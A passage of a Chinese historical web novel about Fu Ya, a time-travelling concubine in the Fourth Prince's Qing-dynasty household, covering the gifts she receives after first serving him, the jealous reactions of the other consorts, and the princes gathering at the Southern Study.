中途叫了几次水,直到夜半三更的时辰了,房间里的动静才渐渐低了下来。两人躺在床上,却并没有分开睡,四爷将傅雅抱在怀里,手也没停,一遍遍地从她脑袋呼噜到腰,偶尔觉得顺手了,还会捏一捏。 傅雅困得要死又被闹得睡不着,被弄得烦死了,又不好说什么,只能将脑袋埋进这人的胸前,使劲蹭。 四爷没察觉她本意是想顶得他胸口疼,还以为她是在撒娇,嘴角便噙着笑。 “你这屋里的东西还是少了些,”四爷一边说一边回忆自己手里头的东西,也没有吝啬,“到时候开个库房给你拿些东西……” 他微微沉吟,又道,“平日里若是缺了什么,就遣人到前院里说。” 这算是四爷给傅雅的一个小特权,不必在福晋跟前求着要东西,但同样的,这也是四爷给傅雅的一个考验。 若是傅雅因此整个人轻浮起来了,丁点小事都想着派人来前院,四爷的耐心就会被越磨越少,指不定哪天就把这特权给收回来,说不定还会就此厌了傅雅。 只希望傅雅不要令他失望,四爷心想,他如今喜爱傅雅的心情是真的,但真要让他生厌了,那么冷落她也不会多犹豫。 “多谢爷……”傅雅眼皮子都在打架了,声音也变得含糊,完全没心思去想这人给她设了个考验之类的,当然,就算知道了她也只会翻个白眼表示这人真特么别扭。 四爷一时还没困意,继续低声说着话,“虽说你年纪还不算大,但身子看着康健许多,”顿了顿,四爷想到宋格格去年丧女一事,眉头微蹙又松开,“好好养着身体,到时候能生下健康的子嗣……” 比起怀了生不出,或者生了活不了要好得多,而且一个格格身边有了子嗣立住了,就算日后不剩多少宠爱,日子也不会过得太孤寂。 他说完等了一会,却没听到动静,忍不住低头看自己胸前的脑袋,就看到一张睡得正香的脸。 四爷:“……” 这小没良心的。 自己一个人说着话也没趣,四爷便也闭上眼睛入睡了,心中想着果然是个年纪不大的,心里都没藏什么事,睡得这般快。 屋内彻底安静下来,屋外的下人们守夜的守夜,不守夜的也抓紧时间睡了会。 时间转眼即逝,刚刚到寅时,苏培盛便打着哈欠出来。 他拍了拍脸,把睡意都抛到脑后又恢复成了往日里的那个精明的大太监,然后才走到厢房靠窗的位置轻轻喊醒主子爷。 床上四爷很快睁了眼,虽然睡得晚又起得早,但他眼中却没多少困意。 隔着窗户应了声后,四爷闭目养神。 苏培盛领着下人进来,皆轻手轻脚地摆放洗漱的东西,四爷听着动静睁开眼,却没急着身,而是看向身边的人。 一张被子下,傅雅睡在四爷怀中,她的脸在他胸口埋了半边,露出的那边泛着酡红,显然没被吵醒,睡得正香。 四爷盯着她的睡颜看了会,开始走神。 他很少和人睡一床被子。 这有些人睡觉,难免姿势不太好,为了不影响主子爷的睡眠,所以后院女人侍寝的规矩都是事后自己睡一床锦被。 当然了,这规矩真要破了也不是什么大事,全看主子愿不愿意计较。 不过依旧很少有人会这么做。 四爷心中想,福晋是看重规矩,约莫奉行相敬如宾那套,所以她不怕被计较,却不会去做。 而李格格么,看着娇艳脾气燥,在他面前却不敢多跨一步,生怕踩着线,奉行以夫为天。 至于汪格格…… 四爷接触的那几次留下的印象就是不懂脸色,且有些呆板,自然也是遵循这套规矩的。 所以对他来说,这个场景颇有些新鲜,让他明明胳膊都被枕得有些发麻了,却也没什么恼怒,只看着怀里的人,有些不忍抽手扰她睡梦。 “主子爷,寅时一刻了。”苏培盛隔着帘子看四爷一直没动静,轻轻提醒了句。 四爷正琢磨如何在不吵醒傅雅的前提下抽走胳膊,然而不等他想出办法,傅雅似是被吵到了,眉头皱了皱,然后一个翻身,卷着被子睡到了里边,徒留只剩下小半截被子盖着身体的四爷。 四爷:“……” 他磨了磨牙,看着那没良心的背影,有点儿气笑了,好悬克制住了自己伸手往那小屁股上拍上一拍的想法,掀开帘子下了床。 苏培盛动作麻利,又有其他下人打下手,在不大的动静下,很快四爷便洗漱换好了衣裳。 此时早膳也被人提了来,他便走到外间坐下吃早膳,苏培盛依旧在旁伺候着。 只是偶尔苏培盛忍不住看向里屋的方向,心想,按规矩这别说妾了,连福晋都是要起身伺候的,除非是被爷给主动免了,偏偏这小格格也真是有胆子,睡得这般踏实。 主子爷竟然也就这么让她躺着,啧,看来是真的很满意这小格格了。 果然啊,这不管什么人,嘴里说着不喜欢什么的,真见到好看的那这标准都会变一变,连主子爷也不例外。 早膳四爷吃得很快,本来他想着要不要留几句话再离开,起身时却耳尖地听到了里屋的动静,于是脚下动作一转,索性改了主意,又走了进去。 就见原本垂下的床帘被从里面探出的纤手掀起,露出张面带慵懒睡意的脸来。 傅雅一手抓着床帘,一手提着被子,听到脚步声时看了过来,欲要起身下床行礼,不过四爷几个大跨步过来,弯腰按住了她,顺势也坐在了床沿边,问她,“被吵醒了?” 傅雅摇摇头,挪动着屁股往他的方向靠近了点,半抱着他的胳膊,身子靠着他,懒懒道:“就是想爷了,然后就突然醒了。” 四爷眉眼变得柔和,声音也放柔了许多,“爷等会还要出门。” 这就是解释他不是不愿意留下,而是有事要忙。 傅雅就嗯了声,垂眸不看他,嘴里道:“爷一路小心。” 小格格抱着自己的手臂,明明不舍,却还是软着声音关心他,四爷自是受用的,也不会因此生气,反而又耐心地哄了她几句,才带着苏培盛匆匆离开。 离开前四爷还想,昨夜的确是多折腾了她点,现在又走得匆忙,怕是有些委屈了,回头便多给些东西安抚她一下。 四爷一走,本来还坐在床上摆出一副美人难舍图的傅雅立刻就活了,连忙跳下了床,嘴里喊道:“巧琴,巧琴——” “哎,格格,奴婢在呢。” 巧琴连忙应声,甚至小跑进里屋,生怕格格有什么事,“格格,怎么了?” “肚子饿死了,”傅雅揉着自己空荡荡的肚子,拉着她的手臂晃了晃,“好巧琴,快找人提膳来吧,我觉得我能吃好几碗饭呢。” 她刚刚根本就不是因为什么想四爷了才醒来的,纯粹就是被四爷吃的早饭香味给香醒的!只不过她不想伺候人吃饭,也觉得跟四爷吃饭才没有她一个人吃着香,所以就一直没发出动静。 如今四爷总算走了,她又能一个人潇洒自在了! 13、第十三章 这一回映月阁的去膳房的感觉就完全不同了! 之前那些天倒也不是受冷遇,但中规中矩的态度和热情主动的态度总归是不同的,比如等着早膳的时候不需要站在门外了,而是有小太监特地搬来个小凳子给人坐着,甚至还有碗热腾腾的汤给人慢慢喝。 “巧书姐姐,你且先在这坐着等会,喝碗汤暖暖身子。这汤不是多贵重的东西,就是我们膳房顺手做来给大家空时喝的。” “那也多谢你了,”巧书面上也挂着笑,“我就在这等着,你们且先忙。” 小太监笑容满脸地应了声,才转身进了膳房。 膳房里也不止要做映月阁一个主子的早膳,几个灶头都烧着火烹煮着东西,热火朝天的,就算是这三月的天气,都能热得人一身汗,所以膳房大师傅身旁都有徒弟跟着打下手擦擦汗。 张太监的徒弟就过来道:“师父,映月阁的来提膳了。” “都弄好大半了,就等着来人后收尾呢。” 张太监一边说,一边手脚麻利地将一道菜盛到碟子上,示意徒弟拿走。 徒弟连忙双手接过,仔细放进食盒里,盖上盖时他忍不住就感叹,“这前脚徒弟才刚说映月阁的没见到主子爷,后脚主子爷就来了,可不是打脸了么。” 张太监瞥了徒弟一眼,嘲讽他,“你的脸算得几两重。得了,少说话,赶紧拿过去。” 小太监哎了声,提着食盒转身往门外走,见到巧书身影后热情道:“巧书姐姐,富察格格的早膳给您咯,有点重,您拿好。” 巧书听他这么说,接过食盒时便特意注意着多用些力,也的确察觉这食盒的重量比起之前要重上一些,大约重了有个四五两,约摸着是多了一两道菜。 “那我走了,你们忙。” 巧书朝他点点头,转身就走,迎面正好碰上同样来拿食盒的福晋身边的人,她便侧过身让了位置,还率先打招呼,“袭姐姐好。” “巧书妹妹早。”袭芸便也朝她微微颔首,两人没多聊,打了个招呼便擦身离开,只袭芸又回头看了眼巧书的背影才继续往膳房走。 福晋的人来提膳,膳房里的人自是也不敢拖延的,早早便备好了,袭芸没等多久便也提着膳回了正院。 她进去时,福晋正在问府里管事的最近开销账本一事,她便安静在一旁把吃食摆好,退到一旁不敢出声打扰。 福晋瞥了眼早膳,又收回视线继续同管事的说话,管事的被问得这初春的天气也不停流汗,点头哈腰的表示自己的记住了。福晋又敲打了几句,看他老实多了,才示意他退下。 管事的退下后,房间里便只剩下了福晋的人。 福晋起身从正座离开,坐到桌子旁,拾筷前,看了眼袭芸,才让身旁伺候的下人布菜。袭芸得到福晋眼神,才敢上前一步,深蹲万福后,起身在旁边轻声说话。 说的内容也不多,就是映月阁的今早提膳时间得比往日里要早上许多,还有巧书见到她时,主动避让且先开口打招呼。 说完这些,袭芸便又是一个万福,退到了其他丫鬟身边。 福晋听完,继续吃着自己的早膳,等吃完后便回到里屋榻上坐着。 孙嬷嬷便吩咐着小丫头打了热水给福晋漱口,又拿过迎枕垫在福晋身后让她靠着放松。 福晋朝她摆摆手,“嬷嬷且也歇会,陪我说说话。” 福晋一大早起来就在打算盘,之后又因为发现了账本的问题,和心思不纯的管事打交道,等吃完早膳了,这肚子饱了脑袋也有些沉了,便想着先休息会。 孙嬷嬷便坐在了福晋对面,“福晋想聊些什么,老奴都陪着您。” 福晋一时半会的也想不到聊什么,便又想到了袭芸刚刚上报的内容,她微微沉吟,便道:“嬷嬷,我看这富察格格虽然家世背景还算不错,但性情却不是李格格那一挂的。” 凡事由小见大,下人间的风气大多都是跟着主子来的,映月阁没侍寝前,下人们老实本分很正常,可昨日侍寝后,今早去提膳的人依旧不见张扬,便可见主子的人品。 李嬷嬷闻言便也跟着点头,“福晋说的是,”不过她更在意的是福晋,所以立刻就想到了这事对福晋有利的一面,“这富察格格不闹腾也好,您管理后院也轻松些。” 不像那李格格,虽说也不敢真冒犯到福晋吧,但时不时就小折腾一下,也是闹得很。 “不过……”孙嬷嬷犹豫了下,还是说出自己内心的话来,“奴婢原先还以为,四爷更喜爱汪格格,倒没想到富察格格有点儿后来居上的势头,说不得哪天就有孕了……” 四爷是府里唯一的主子爷,他的动静自然是牵扯着府里人的心。 各个院里的都在打听呢,自是打听出来了映月阁昨晚上叫了几次水。 若说一开始大家都觉得这新进来的两个格格里是汪格格先拿了优势得了喜爱,那么昨晚一遭过去,映月阁一晚上叫得水比西溪阁几天下来的次数还要多,就让人明白到底是谁更得四爷喜爱了。 李嬷嬷就想,也不知道这汪格格会不会心生难堪。 还有她家福晋,眼看着像是又要多一个受宠的格格了,而且还是镶白旗满洲人,真要生了孩子,这抬为侧福晋的机会可比李格格要高,李嬷嬷一想到这就忧虑重重。 “……不管是不是后来居上,总归都是四爷的女人,有孕了也是为四爷开枝散叶,这是好事。”福晋下了定论,“只要她们少闹腾点,我也不会做什么,我是最希望这后院平静点的。” 若论自己内心最真的想法,福晋自是不想看这群女人,谁会愿意一群女人来分自己夫君的宠爱呢。 可她是福晋,职责就是管好爷的后院,操心这开枝散叶的事情,她再如何厌烦也得耐下心来处理这一遭子事,而且…… 她是福晋,是得了四爷尊重的女人,四爷也信任她的能力,将这些事交托到了她手里。 只为了这副尊重和信任,福晋就不能甩手不干。 她不想……也不愿见到四爷失望的眼神。 正院里的主子吃饭聊天,映月阁的傅雅也正在用自己的早膳。 “今日里的早膳倒是多了一道菜。”傅雅一看桌子上摆开来的饭菜,便眼尖地见到了其中一道榆钱鸡蛋饼,这可是时令菜,要采摘新鲜的吃起来口感才好,就算四爷府里有人专门送菜来,也比寻常的蔬菜要麻烦些。 像这种菜一般不在格格的份例里,今日倒是给她添了这个。 她拿公筷夹了道放进碗里尝尝,觉得膳房不愧是专业做吃食的,吃起来这榆钱的香味很浓,里面夹带的鸡蛋也很嫩滑。 等吃完了,巧书又上了道牛乳茶,“方才一直温着,格格趁热喝。” 傅雅就接过喝了一口,只觉唇齿留香,满满的奶香味,隐约的一丝茶香也很解腻。 她一口气喝完,将空碗放到桌子上,看着碗就笑,“巧琴巧书,这一晚上过去,你们家格格我身价估计都涨了点。这东西可不便宜。” 清朝的皇室贵族皆爱喝奶茶,只是喝的人虽多,可这新鲜的牛乳却不好保存,于是便变得珍贵起来。 反正这新鲜牛乳同样不在格格的常备份例里,就跟那道榆钱鸡蛋饼一样。 至于想吃的话该怎么办? 拿赏钱来呗。 除此之外就是受宠,得宠的人总是不缺人讨好的。就好比今日,不过是一晚上,傅雅便喝到了这东西。 要问往后能不能随时喝到…… 要么她一直受宠,要么就是她手里有钱。 14、第十四章 听到傅雅这玩笑话,巧书抿着唇就也默默跟着笑。 巧琴从旁边端来漱口的水给傅雅,说道:“这东西再怎么不便宜,依旧只是个喝的玩意,格格往后能吃的、能喝的东西,比这更贵重的都有的是。” 她说的掷地有声,看着比傅雅还要自信。 傅雅漱过口,朝她一笑,“就借巧琴吉言啦,往后格格我要是发达了,保证带着你们一起飞。” “哎!” 巧琴就捧场地道:“奴婢等着飞上天呢~”她还故意扮出唱戏的姿势,声音拉得长长的,旁边伺候的丫头们都忍不住笑出声来。 虽然只伺候了傅雅几天,但傅雅是有事说事,提前就把规定说好的人,下人们没犯事的时候傅雅态度都很随和,所以像这种玩笑话大家都不怕说,平日里的气氛也比较轻松。 没吃完的早膳被傅雅分给了身边人,都是用公筷夹的,也没搅得乱七八糟,又都是好食材,巧琴她们接受自如且挺高兴的。 不过喝了一碗牛乳茶的傅雅摸了摸自己的肚子,决定还是做些事儿消消食。 躺平也不意味着放弃自己的身材管理,一个是胖了对身体也不好,另一个就是她如今作为妾室,的确需要个好身材。 只不过昨日出了个晴天,今天倒是又阴了下来,傅雅便放弃了去花园吹冷风的想法,转而想着更好活动身子的运动。 她拿了银子叫来赵德利,对他道,“让你手底下的人去换个毽子来。” “是,格格,”难得被格格吩咐事情,虽然只是小事,赵德利也认真对待,“您要哪种禽类的羽毛,喜欢什么颜色的尾羽,底座的材料您想用什么……” 傅雅听着都觉得花样儿多。 她就想她在自己家踢毽子的时候,都是她三哥揪着家里的公鸡随手一拔,然后拿个铜钱一绑就好了,给她交毽子的时候经常顶着被鸡啄出的印记,身上还粘着碎羽。 然后当天晚上就能见到阿玛抓着扫帚追着要打三哥。 “让你天天瞎霍霍公鸡!不能带你妹妹去街上买一个么?!非得折腾的自家公鸡都不打鸣了,你老子我点卯都差点迟到!” “那不是家里的公鸡不用费钱么。” 三哥每次都笑嘻嘻地这么回嘴,“阿玛你早上别睡那么沉就不迟到了。” “格格?” 赵德利见傅雅一直没开口,便又提醒了声,傅雅回过神来,想了想,便道:“看着漂亮点就行。” 赵德利应诺,便要退下,又被傅雅喊住。 她提醒道:“我这给的银子能拿到什么样的就拿什么样的。” 她这话里的潜台词就是不要自己再垫钱进去。 傅雅就担心赵德利为了把第一件事办好,私底下还去垫银子,那就没必要了。 她就是踢个毽子而已,犯不着用上什么特别好的材料。 也别说这事不可能,就连现代都有打工的人为了给老板一个好印象,明明老板给的钱还差那么点,却硬是不说而是自己出钱补了空缺的,何况古代这种下人的命还掌握在主子手里的时候。 “奴才晓得了。” 赵德利连忙回话,走出门时,心中是又可惜又有些高兴。 可惜的是不能借着这事讨格格欢心了,傅雅还真没猜错,赵德利就是想着垫些钱进去弄个好的。高兴的是格格心里有成算,聪明且关照他们这些做下人的。 跟这样的人做主仆,格格眼瞅着又被主子爷喜欢,那未来的日子才有盼头呢! 虽说四爷如今开府出来住了,但这往日里采买之类的事情都还是由内务府的负责,也算是康熙对这些开府至今还是个光头阿哥的儿子们的照顾,明白他们没什么职位,手里的钱都不算多。 所以这毽子拿过去给人家做,那就是大材小用,纯属顺手的事情,也用不着多久的时间。 在毽子做好被送来之前,傅雅就站在厢房门外,看着巧琴指挥其他人把一些挡路的或者易碎的东西搬到角落里,偶尔见到不认识的,便问上一两句。 “格格,那是昨日里刚搬来的金边瑞香。” “哦,闻着还挺香的。这个呢?” “这是长寿花。” “名儿还挺吉祥。” “……” 于是等前院里的人提着一大堆东西过来时,就听见这映月阁里热闹着呢,厢房前的地儿被整理出一片刚刚好的位置,正适合放他们带来的东西。 “格格吉祥,奴才给格格道喜。” 李顺昌的态度十分好,上来就喜笑颜开地给傅雅行了个礼,在傅雅也客气的让人扶他起身表示不必多礼后,他又立刻热情地给傅雅介绍起了他带来的东西,也就是四爷出门前吩咐给的赏赐。 古董花瓶,吃喝用的瓷器,打扮的珠宝应有尽有,还有一百两银子,赏给她做私房钱。 除此之外,还赏了十八匹的衣料。 这其中还有些许家具,其中最大的一个是室内用的屏风。以云母、琉璃为材料,周身镶嵌了珐琅、玉石,雕刻着精巧的图案,绘有逼真雅致的四季图,端得是娇小玲珑,颇有趣味,好看又贵重。 见到这幅屏风时,巧琴和其他下人们都看呆了眼,一时都不敢上手,还是李顺昌带来的人在傅雅的指挥下,小心翼翼地搬到了里屋里,正好在榻前和床边隔开了一个空间。 放好后再从外间往里看,有屏风隔着,就不能直接见到床榻了。 最后李顺昌又端过来一个黄花梨木盒,木盒也雕刻着繁复的图案。 “格格,您请打开看看。” 傅雅见他特意端到自己面前,猜测大概是四爷特意吩咐的,她接过盒子,打开时心中还在想会是什么东西。 珍珠?首饰?或者金子? 全都不是。 傅雅就见木盒里躺着几个好看的琉璃瓶子,她一时还真没猜出来这是什么。 她也没继续猜,而是问李顺昌,“李公公,这里面的东西是?” 东西是四爷吩咐去库房拿的,李顺昌不敢擅自做主,所以拿的东西自然知道都是些什么。 他便笑着解释道:“这里面都是上好的发油和精油呢。主子爷说了,格格您的头发养得极好,正适合用这些发油。平日里洗漱时再用些精油,可以护肤呢。” 傅雅听得一脸懵逼,一时半会完全没想明白四爷这人好好的送自己发油和精油干嘛,而且还特地让人在自己面前说这事。 主要是这玩意也太琐碎了,属于生活的细节。 不过她面上则是带着笑回应,“我很喜欢,劳烦公公到时候替我和主子爷说声谢。” 主子爷赏赐这么多东西,当然是想自己的女人高兴,李顺昌的任务自是完美完成,领了映月阁的打赏后,笑眯眯带着人离开了。 院子里,傅雅看着留下来的东西,和巧琴一起琢磨着如何整理。 巧琴一边整理,脸上的笑就没停过。 她打开一个盒子,发出惊叹声:“格格,这幅头面可真漂亮。” 傅雅闻声看过去,就见盒子里装着齐整的一套头面,簪、钗、耳坠、手镯等都十分齐全。 就算是在此时的阴凉天气下少了太阳的照射,那碧绿的翡翠手镯依旧显得通透无比,金银托底的点翠海棠簪也很是夺人眼球。 其他同样精致的首饰自是也不差。 傅雅拿起一根簪子看了看,也不禁感叹,“手艺可真好。” 这些东西富察家虽然也有那么几个,但都是压箱底的,哪像皇家,给格格的赏赐里就有呢,所以傅雅更多的是上辈子在博物馆看到这种首饰。 “这些布匹一看也都是上好的料子制成的。” 旁边巧画的手虚虚地在布料上拂过,喃喃着道。 几个丫鬟里的巧画是手最灵巧的,绣花制衣的手艺也好,所以她的心神都被这些衣料给占据了。 傅雅将簪子放回到盒里,扫了一圈院子里的东西,“看来都是好东西。” 看着倒是不像历史上能传出“刻薄寡恩”名声的雍正爷的手笔,不过说不准也是历史上记录的不够详细。 毕竟也没人会在四爷还是个阿哥时,跑到他府上来记录他对后院女人的待遇。 能得到这些东西,傅雅自然是高兴的,不过她也没有过多的激动,主要是她觉着自己也是有付出的。 不见她昨晚上也那么热情应对四爷么,上辈子交男朋友的经验还有工作上的钻研心思都用在这位的身上了。 那这些就都是她应得的。 反正傅雅不会有什么不配得感,也不会诚惶诚恐觉得四爷对她真好她应该死心塌地。 不过傅雅又想起件事来。 这李顺昌带着这些东西过来的一路上,只怕整个府里的都看见了,也不知道她们的反应是什么。 15、第十五章 反应? 那当然大部分都好不到哪里去。 这些赏赐都是从库房里拿的,而开库房是需要通知福晋一声的,以示对正妻的尊重,否则哪天福晋想起来整理库房,发现少了东西,那闹出笑话也损了福晋的面子。 李顺昌作为四爷身边较为亲近的人,虽比不上苏培盛,可也不缺机灵。 所以他通报福晋时,自然不会傻呆呆地将四爷要给的东西有哪些直接说出来,那这就是明晃晃地给富察格格招仇恨了,李顺昌可没这么蠢。 因此他就只说了是要来开库房取东西。 福晋心知肚明这东西是要给谁的,不过她没制止。 本来侍寝后只要不是惹恼了四爷,按惯例都会有赏赐。而且从昨晚打听来的消息,和现在李顺昌的态度,福晋也猜出来了,只怕这赏赐的东西不少。 福晋和李顺昌客气几句,就让身边的孙嬷嬷拿着库房钥匙跟他离开了。 孙嬷嬷作为看着福晋长大,又跟着她进了四爷府里的老人,一颗心那是完全向着福晋的,去库房的路上也不忘试探几句,“倒没想到是你来搬东西,看来这富察格格很得主子爷的心啊。” 之前赏赐汪格格的时候,那可是正院里的小太监去的,都不知道在四爷身边排到哪个角落里了,这李顺昌却称得上二把手。 以前李顺昌时时刻刻盯着苏培盛的位置,就等着哪天落下机会让他挤上位。 不过苏培盛把他压得死死的,后面更是认了苏哥哥,算是主动退了一步,认输了。 李顺昌就笑,“嗐,这后院里的格格再得主子爷的心,那也越不过福晋主子啊。”他说着讨巧的话,却是避重就轻,没回答孙嬷嬷的问题。 等到了库房,更是自己带着人进去,没让孙嬷嬷插手。 孙嬷嬷也不好去看库册盯着少了哪些东西,那这姿态就太难看太急了,也是下福晋的面子,不够大气,所以只知道李顺昌拿的东西不算少。 她没好气地看着李顺昌带着人离去的背影,回头报给福晋时,满心愧疚自己没能打听到什么有用的。 福晋宽慰了她几句,还安排她去给映月阁的送正院给的赏赐。 孙嬷嬷离开后,福晋让其他下人们退出房间,自己把账本一丢。 她抬手抚着胸口,怔怔看着窗户外的风景。 她就想,都是满洲出身的姑奶奶,她不过是比富察格格的容颜差了些,竟区别就这么大么。 明明她才是四爷的正妻,是入了玉牒,未来会和四爷葬在一起的人…… 到头来,她能攥得住的,就只是个尊重和信任么? 隐隐有水光从她脸颊滑落,浸湿了衣角,却无他人知。 李顺昌那头,一行人拿着东西,从库房走到傅雅的映月阁也差不多绕了府里半个圈,可谓是一路浩浩荡荡过来的。 人还没到映月阁呢,富察格格得赏丰厚的事情,这后院里的其他女人就都知道了。 清雅楼里,李格格听着贴身丫鬟谷碧愤愤地道:“这一路上走得那是一长溜儿,看着端了好些个盒子,还有那裹着的长条,约莫是些布料,数下来有好十几匹呢,后头还跟着形状更大的玩意,像是家具之类的。富察格格也格外贪心了些!” 李格格听着也是气得不轻,她摸着自己的肚子,一时怨四爷这么给富察格格长面子,明明昨日里她才告了状,一时又觉得必定是那小妖精迷惑了四爷! 越想越生气,她顺手就砸了手边的瓷杯,恨恨道:“且等着吧,等我生了肚子里的小阿哥,看这小蹄子还能不能蹦跶!” 此时她对汪格格的仇恨值已然是被傅雅给拉走了大半。 西溪阁的汪格格听着丫鬟禀报,心里也颇不是滋味,不过她转念想到四爷那日清晨对她的体贴温柔,便又觉得或许是因为富察格格出自满洲镶白旗的缘故,四爷才会厚待一些。 于是她压下心中的不适,拉着丫鬟教她盘长结的事。 汪格格琢磨着,等下回主子爷来了,也好有个自己的东西送给主子爷贴身戴着,这样主子爷平日里看到东西了也能想起她来。 浅云居内,宋格格是这些女人里听到这个消息时心情最为平淡的,或许是入府的时间太长,已经磨平了她那些属于女儿家的娇羞和对郎君的期盼,也或许是她已经哭够了,也看清了。 她低头看着自己扁平的肚子,不禁抬手轻轻覆上去。 这宠爱虚无缥缈,所以她已经不再盼着自己能够受宠,只想再有个孩子,余生不再孤寂。 不急……宋格格内心慢慢安抚自己,她心想,四爷对旧人还是有几分面子的。 只要她不求宠爱,那么她待在四爷后院里的这些年的情分,还是可以拿来跟四爷换一个孩子的…… “阿嚏!” 映月阁里突然响起一声喷嚏,本来在整理赏赐的巧琴听到了,也顾不得手上的东西,扭头就走到傅雅身边,着急道:“格格,您没受凉吧?莫不是昨日里洗了头的缘故,还是吹了风,所以——” “打住。” 傅雅连忙抬手掩住了她的唇,巧琴什么都好,就是说话唠叨了点。但凡有点儿风吹草动的,她就喜欢用说话来缓解情绪。关键还喜欢翻旧账,所以傅雅就怕她这一说起来没完没了。 “估摸着是有人念叨我呢。”她语气轻松地道,巧琴顺着她的话一想,也想歪了,“难道是李格格她们……” 不得不说,不仅是傅雅拉住了李格格的仇恨,这李格格也同样吸引了映月阁的人的大半注意力。 某种程度上也算是双向奔赴了,傅雅心中想,然后就觉得自己说了个地狱笑话。 她被自己想的内容给逗笑了,轻笑一声后,便道:“也或许是其他下人在说这事呢。” 这人做事总不可能一直忙着,闲下来就会说点小话,也不一定就是后院女子在念叨她。不过傅雅也没觉得她们会喜欢自己,反正不管之后如何她都等着接招,不惹事也不怕事。 傅雅没在这种小事上说太久,她一边听着巧琴她们报的东西和数量,一边就记录在了账本上。账本用的格式不是这个时代惯用的,而是融入了现代记账的方法,比之如今的账本要更为清晰和方便。 当然,想贪污也更难些。 傅雅之前就把这个方法交给了巧琴,只是巧琴读的书不多,以前也没怎么学这管账本的事,所以现在用起来还不熟练。如今就还是傅雅上手做这些,巧琴在旁边打下手顺便学习。 巧画走了过来朝傅雅福身,与她说起布料的事情,“格格,这些布料您打算如何安排?” 傅雅看着摆开的布料也有些发愁,刚刚正院福晋的人来了,赏赐的东西里也有布料,所以这一下子映月阁就多出来了二十几匹。颜色倒都挺好看的,都是嫩绿、月白、鹅黄之类的浅色料子。 她扶着脑袋想了想,然后往账本上添上几笔,才道:“先拿几匹锦缎的做些外面穿的衣裳,我看这里面还有棉布,便拿出来做几身内里穿的,其它且先放着。 “巧画你对制衣需要多少布料更熟悉,你来看着需要留多少。” “是,格格。”巧画福身,将需要的布匹拿了出来,其它就都交给了收拾的人放去库房里。 等终于收拾好后,赵德利也带着毽子回来了。 傅雅接过来一看,毽子底座是用铜钱做的,但是中间镶嵌了颗半透明的珠子,隐约可以看到里面雕刻出镂空的模样。 听赵德利讲,只要有那么点光线,这半透明珠子就会随着踢起的高度在地面投射出不同的图案来。 毽羽不知道是用的什么禽类的翎毛,颜色鲜艳,甚至有种五彩斑斓的炫目感。 傅雅心中再次感叹皇家排场,再小的东西都能折腾出这么多花样,不过她也因此被调动起了更大的兴趣,立刻就拿着毽子踢了起来。 她在现代的时候其实基本没怎么玩这个东西,毕竟娱乐方式多种多样,小小的毽子实在不怎么吸引人。等她穿到这里了,能玩的花样一下子就少了很多,踢毽子的次数便也多起来,从最开始的生疏到熟练自如。 她一口气踢了上百个,其中还换了好几次花样,盘、拐、磕、绷、别全都使了出来,让一旁的巧琴她们也是看得十分激动,手掌都要拍红了。 活动开了,也消完食了,傅雅便也不踢了,回去准备睡个回笼觉。 昨晚上折腾的久,本来就睡得晚,今天一大早的还被四爷的早饭给勾起来了,她要补觉! 谁来都别想把她从被窝里拉出来! 16、第十六章 皇宫里,四爷刚到上书房门口呢,还没进去,就见到有个小太监朝他这边跑了过来。 四爷看他模样觉得有些眼熟,等他到面前时终于想起来,是皇上身边的人。就见小太监跪地打千,对他道:“四阿哥,万岁爷让您去南书房呢。” 四爷嗯了声,让小太监带路。 虽然他面上不显,心中却是有些激动的。主要是南书房平日里康熙除了会与翰林院词臣们交流诗词、儒学外,还承担着政治的功能,康熙也时常在南书房处理政务,发布诏令。 所以四爷很肯定的是,皇上让他过去,估摸着是又有接触政务的机会。 就算只能站在一旁听着,不能说话也没什么,反正对四爷来讲,都比在上书房跟一群小豆丁读书要好得多。 到了南书房,自然是不能就这么直接进去的,他被小太监引着去了偏殿候着。四爷进去时,就见到里面已经坐了三、五、七这三个已经开府了的兄弟。 四爷对此倒是不意外,开府了么,也就是能办事的人了。 让他比较意外的是,要明年才开府的老八也在。 都说最近皇上很是偏爱老八,看来这话传得也不算假,四爷心想。 老八相貌比较柔和,年纪小,看着就让人觉得是个脾气好的软柿子,他也是最先起身打招呼的,“四哥早。”然后他在四爷坐下后,还亲手给他倒了杯茶。 “今日里南书房的茶泡得还不错。”他说。 他动作快得四爷都来不及阻止,看他放下茶壶后,只能道:“多谢八弟了。” 四爷心里觉得老八和他们这些哥哥的确不太一样,明明养母是惠妃,却没有大哥那般张扬耿直,而是少了那么点皇子的傲气,多了几分平易近人。 “老八这性子啊,随和,宽容,长得又好,”旁边三爷看见了,就开口打趣,“我记得老八是前两年订下的福晋吧,等将来你家福晋进门了,只怕要被你迷得昏头转向的。” “三哥说得夸张了。”老八脸有些红,毕竟还是个少年人,聊起这些还有些不太自在。 三爷笑得更明显了,他是个怜香惜玉的风流性子,后院里的女人争宠闹得厉害,他也不介意,反而高兴她们这般争抢着他的欢心,不过他也没一直欺负老八,而是又换了个目标。 “老四今天看着就光彩夺目的,想必是汗阿玛前几日赐下的人很是得你心意吧。” 四爷淡淡一笑,他不爱把自己的女人拿到外面来说,显得轻浮,所以没回三爷这话,而是转移了话题,“三哥心情看着也挺好的,弟弟听说三哥最近府上又多了些文人,是要做些什么吗?” 谈到自己擅长的文学方面,三爷便也没再抓着弟弟们的风流事打趣了,自然而然地被转移了注意力,“这以前的古籍多有损毁,你三哥就琢磨着修复古籍一事,这不管能修复几本,都算是好事啊。” “倒的确是好事,”五爷也开口说话了,“就是弟弟我看着那些字都头疼,还是三哥厉害。” 五爷从小养在皇太后博尔济吉特氏宫内,一直到九岁都未接触过汉文,算是兄弟们中对文科最为苦手的一个。 这话一出,几个兄弟都跟着笑了起来,七爷就道:“这人都有不擅长的,等时间长了就好了。”就像他生来跛脚,可十几年过去了,走路时只要不走得快了些,也看不出太大的异样。 谈笑间,三爷看了眼南书房正殿的方向,“也不知道汗阿玛和大哥太子在里面说了些什么。” 偏殿里一时安静下来,四爷心情也有些复杂。 他想到皇上对太子和大哥明晃晃的看重,又想到对三哥文采的赞扬,以及如今连老八没开府就已经进了皇上的眼里,这往后能办事的弟弟们也会越来越多,他若是稍微松懈一点,只怕就要被挤到不知哪个角落里去。 皇子多了就不值钱。 四爷暗自下了决心,这几年里他需得更勤奋些,早点得皇上看重才行。 三爷这话刚落下没多久,传话的小太监便走了进来,“各位阿哥吉祥,万岁爷说阿哥们可以进去了。” 一群皇子便都起身,心思各异地进了南书房里。 一进去,他们就都给皇上请安,康熙喊了他们起来,几个弟弟们抬头就见到太子站在康熙右手边,手里拿着个折子,大阿哥站在底下,不过脸上带着笑,显然刚刚不知说了什么让他很是高兴。 